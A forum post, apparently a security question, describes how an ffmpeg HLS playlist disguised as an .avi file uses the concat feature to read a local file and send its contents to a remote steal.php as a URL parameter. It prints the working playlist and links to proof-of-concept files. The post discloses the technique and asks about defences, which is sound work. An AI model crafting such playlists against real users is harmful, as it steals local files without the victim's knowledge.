I've been a heavy user of ffmpeg-based players and encoders for years, and though I've heard about numerous security issues, I always assumed that staying up-to-date was safe enough. However, I just saw an article (in Russian) which explains how ffmpeg can be misused without relying on any bugs at all.
For the brave:
Create a file
/tmp/secret.txt with a secret word (important: no newline at the end). Now play this innocently-looking video:
with an ffmpeg- or libav-based player (I tested SMPlayer 14.9.0 on Debian). Does your secret word appear in the video?
Windows users may try http://dimag0g.hd.free.fr/ffmpeg/steal_secret_win.avi which attempts to steal
c:\secret.txt, though I didn't test it.
How it works:
steal_secret.avi is actually an HTTP Live streaming file which looks like this:
#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat:http://dimag0g.hd.free.fr/ffmpeg/head.m3u8|file:///tmp/secret.txt|http://dimag0g.hd.free.fr/ffmpeg/tail.m3u8 #EXT-X-ENDLIST
It instructs SMPlayer to concatenate three files: a header,
secret.txt and a footer. The result of this concatenation is, again, an HLS file which looks like this:
#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:, http://dimag0g.hd.free.fr/ffmpeg/steal.php?secret=your_secret_word&.txt #EXT-X-ENDLIST
This time, contents of
secret.txt are sent to
steal.php as a URL parameter. In my case,
steal.php simply prints back
your secret is <your_secret_word> 1000 times, so it gets displayed inside the video. A real attacker could have saved the secret and displayed an innocent clip to the user, raising no suspicion.
Note that this trick doesn't rely on bugs, it uses a supported format and a useful concatenation feature. And often you don't even have to click on the file: your file manager will run ffmpeg on it to generate a thumbnail.
What to do?
Besides the obvious advice of being careful with untrusted files and never ever running GUI as root, what could be done to minimize the risk? Specifically, what media player should I use when opening such files? So far, my example only works with mplayer and SMPlayer, which support
concat, but I wonder if other media players supporting HLS can be exploited in a similar way.